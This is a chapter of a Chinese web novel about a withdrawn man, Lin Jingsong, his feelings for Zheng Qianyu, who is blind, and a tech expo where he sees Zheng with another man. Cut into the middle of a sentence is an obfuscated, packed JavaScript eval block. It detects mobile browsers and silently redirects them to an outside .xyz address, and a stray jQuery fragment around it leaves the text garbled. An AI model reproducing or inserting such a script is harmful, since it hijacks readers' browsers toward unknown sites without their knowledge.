夜间，林静松倒了一杯牛奶，为自己选了一部电影坐下来看。
在中学之前，他几乎从来不看电影，他不喜欢一切和镜头有关的东西。
林静松也不喜欢人，包括自己。
他看过一部科幻小说，里面的外星人是七条肢体缠成一个桶，无论在哪个方向看都呈对称。因此它们不分前后左右，这也代表着他们不分过去和以后
于是他们可以预知未来。
年幼的林静松看到这样的描述，想象这些外星人的样子，简直丑得不可堪言，让林静松心生羡慕。
林静松更欣赏预知未来这样的能力，如果他也能做到的话，他真想在自己出生之前就掐死自己。
现在，林静松活得没有这么暴戾了。人生行至十几二十岁，他第一次品尝到做人的滋味。而这滋味对别人来说稀松平常，像吃家常菜一样简单，对林静松来说却是求之不得，只有等老天爷高抬贵手，才从指头缝里漏一点点给他。
第一次坐在电影院里看电影。电影院里很暗，谁也看不见谁。
一开始，林静松的身体很僵硬，找座位的人从他身前穿过去，腿擦到林静松的膝盖，也让他像惊弓之鸟。
等到观众都逐渐落座，林静松才稍微放松下来，但他的心仍旧跳得很快，每时每刻的不安定感如影随形。
“那是我很喜欢的明星，他唱歌很好听。”
坐在他旁边的人肩膀稍稍靠了过来，其他人还窸窸窣窣的，他说话的声音更轻。
林静松不知道他是怎么做到的——这么自然地和一个陌生人看电影。
他忍不住把这个人和他以前遇见的无数人比较，他会有什么目的吗？他想得到什么？
为什么要和他看电影？只是感谢吗？
他看到荧幕上郑千玉喜欢的那个明星的脸。
他真的喜欢他吗？或者只是他搭话的借口？
他唱歌真的好听吗？
对于电影的剧情，林静松全然没有看懂。只知道有两个人从年轻时开始分分合合，结局时都已经老了，还是针锋相对，纠缠不休。
最后终于分开了。
片尾音乐声响起，放出导演和演员的名字，林静松还是一头雾水。
借着屏幕微弱的光亮，他悄悄看向郑千玉，他坐在那里，身体和神情都很是放松平静，眼睛下却有两行泪淌下来，亮晶晶的。
郑千玉长得非常漂亮。这在林静松对美丑迷蒙的脑海中，也是很明确的客观事实。
林静松不知道他为什么哭，电影里的事件转折、人物感情和动机林静松都没什么概念，这让他不由得好奇郑千玉为电影流泪的理由。
这让他忘了要继续怀疑郑千玉。
“不好意思。”
灯亮起时，郑千玉挡住了自己的脸。他看到林静松很平静，没什么情绪的样子，一瞬间有些窘迫。
随即，他又对此释然。因为这是一部非常好的电影，好到不需要为流泪感到羞愧。
林静松拿出一包纸巾给郑千玉，他脸上还挂着眼泪，冲他笑了一下，抽出一张，擦去自己的泪水。
他们走出电影院的时候，天已经完全黑了。
下过雨之后，那是一个非常晴朗的晚上，夜空中的星星闪烁，清晰可见。
他们沿着街道走，路边的积水闪亮，犹如镜面，倒映着街灯和星空。
林静松不知道说什么，此时此刻，他尚不清楚这种体会是否算好，但确实没有感觉很坏。
他们分开时，郑千玉说“明天见”。
林静松点点头，“再见”二字像隐匿在舌头下的两颗小砂砾，他最终也没有说出口。
这一日，他依然一个字都没和郑千玉说，但却和他看了一场电影。
看电影成为林静松的一个习惯。他对电影类型没什么偏好，但他很想知道郑千玉为什么哭。
林静松后来在网上又将它从头到尾看了几遍，找来一些分析解说看，人们各持己见。林静松捋完一遍，也只懂了百分之三十。
即使到了今天，林静松对大部分电影的理解也只停留在常理层面，他看不懂隐喻和暗示。
不过，从中学时候开始形成看电影的习惯，让林静松基本懂得分辨他人的心情和意图，如果不是这样，林静松的人性不会比现在更多。
今晚的电影乏善可陈，看得林静松昏昏欲睡。他坚持到片尾字幕结束，将日程上看电影的这一项划去。
随后，他将油画老师介绍的几个画家的作品找来细细地看，每幅画都标注了时间，介绍了创作背景。他们风格迥异，看得林静松眼花缭乱，最后也勉强把这一日程完成。
睡前，他很想念郑千玉，打开微信，点到郑千玉的窗口。
在添加郑千玉之前，他谨慎地把写着自己全名的名字改去，目前也没有想好要变成谁。
今天他和郑千玉的对话甚少。郑千玉的工作很忙，时常没有多余的时间和林静松说话。
林静松想多了解一些艺术，产生和郑千玉的共同话题，但他也不知道现在和郑千玉谈论艺术是否合适。
这是对林静松孱弱情商的巨大挑战。他在困难的同时有所希望，像一个本该死了的人又续了几口气，林静松绝不抱怨他凭什么不能一直活。
第二天，林静松穿了熨好的衬衫，选了一条比较正式的西装裤，前往公司的展会。
这是一个大型展会，租了3个一万平的展馆，还有其他科技公司的展位。BYE的展台在中心区，林静松一进来就有些后悔，人太多了。
整个展馆充满了人，什么肤色的都有。很多公司带了自家的机器人和机械来展示，围观的游客也很多。
林静松给同事打电话，前去取参展证。
李想早早地来接郑千玉。
他们约好了时间，郑千玉很早就起床做准备。李想的车准时停到郑千玉的小区门口。
几场大雨过后，气温又开始回升。郑千玉穿了件水蓝色的衬衫，斜挎一个帆布包站在路边，像刚上学的学生。
李想开车停到他跟前，郑千玉听到车声，往后退了退。李想降下车窗，对他道：“早上好，帅哥，坐车吗？”
郑千玉听到李想的声音，露出微笑。他想绕过车头去副驾驶，李想连忙下车，跑过来给郑千玉开门。
郑千玉将盲杖收起，系好安全带。李想打开了音乐，仍然是郑千玉喜欢的那张专辑。
李想很久没和郑千玉见面了。看到郑千玉的模样，总感觉眼睛被洗礼，难以忽略。
他伸手从后座拿了一个纸袋递给郑千玉，郑千玉窸窸窣窣地摸，道：“是什么？”
李想：“吃点三明治垫一下，这家我很喜欢。你要喝咖啡吗？还是热可可？”
他张罗了一通，郑千玉不好说自己出门前已经吃了早餐。他把纸袋放在腿上，喝了一口热可可。
去展馆的路
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474822|169918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不算很远，李想有工作证，到了地方不必排队检票，可以直接进去。
“今天还有一些BYE的用户，你们也可以一起聊聊天，说不定可以认识新朋友。”
郑千玉：“嗯……好。”
面对李想，郑千玉的话总是很少，这让李想误认为郑千玉生来内向沉默，于是习惯性主动，充当一个照顾者的身份，处处体贴。
面对李想一直释放的好感，郑千玉不知道如何应对。他明白最明智的选择是挑破这层窗户纸，告诉李想他们之间并无可能。
恐怕又显得自作多情。
李想是郑千玉的一个窗口。在郑千玉毫无头绪地生活在黑暗之中时，是李想鼓励他，帮他重新建立生活的秩序。
如果郑千玉能够对他产生爱的感觉，李想也许是一个很好的恋人。
事到如今，郑千玉还有什么选择的权利？
但在内心最深处，郑千玉抵触着李想的关心和照顾。他抵触李想如此体贴，认为盲人应该和盲人有共同话题，成为朋友，认为郑千玉无法照顾自己的生活，理所应当为他备好早餐。
难道李想乐于这样去照顾一个盲人？他的好意又出自哪里？
郑千玉感到茫然。
车停下，郑千玉的身体在安全带的束缚下微微前倾。音乐正好放到专辑的最后一首，行至尾声。
李想俯过身来，帮郑千玉松开安全带，他看到郑千玉有些发呆的样子，笑道：“怎么今天呆呆的？”
郑千玉回过神，说：“到了吗？”
李想打开车门，“到了，我们坐电梯上去。”
他下了车，绕过来帮郑千玉开门。郑千玉握着盲杖，和他进了电梯。
人很多，盲杖打在金属墙壁和地面上很响。郑千玉把盲杖贴在身侧，李想护着他，靠得很近。
好不容易出了电梯，李想对郑千玉说：“人很多，我帮你吧。”
郑千玉也知道这无可奈何，他将盲杖收起，一手搭上李想的手臂。
周围很嘈杂，路况也很复杂。李想领着郑千玉，帮他简单地介绍路过的展台。
他们还遇到一只莽撞的机器狗，冲到郑千玉面前，李想从背后揽住郑千玉的腰，带着他停下来。
工作人员连忙给机器狗发指令，控制它停下来。为表示歉意，他让郑千玉站定，控制机器狗贴着他的裤管蹭蹭，然后坐在地上冲他摇尾巴。
李想低声朝郑千玉描述机器狗的动作，带着他的手去摸机器狗的头。
最后，郑千玉得到了一个机器狗造型的毛绒娃娃，李想帮他拿着。
他高兴了一些，微微偏头和李想聊那个机器狗，他摸过他冰凉的金属外壳，这并不影响狗的可爱。
林静松拿到了参展证，戴在胸前。活动还没有开始，他先到附近展位逛了逛，哪里人太多，他就知难而退。
最后，他在一个机器狗的展位碰到了郑千玉。
郑千玉和另外一个人在一起，那个人林静松也认识，去年他在洛杉矶曾经和他有过照面。
林静松本来已经把他的长相全都忘光了，现在他站到郑千玉旁边，林静松又在片刻间定位到他的信息。
他看到郑千玉挽着他的手臂，两人低声说话，他把郑千玉逗笑了。
林静松本来对这个人没什么印象，也就没什么看法。
就这么几秒之间，他觉得这个人真是面目可憎。
讨厌极了。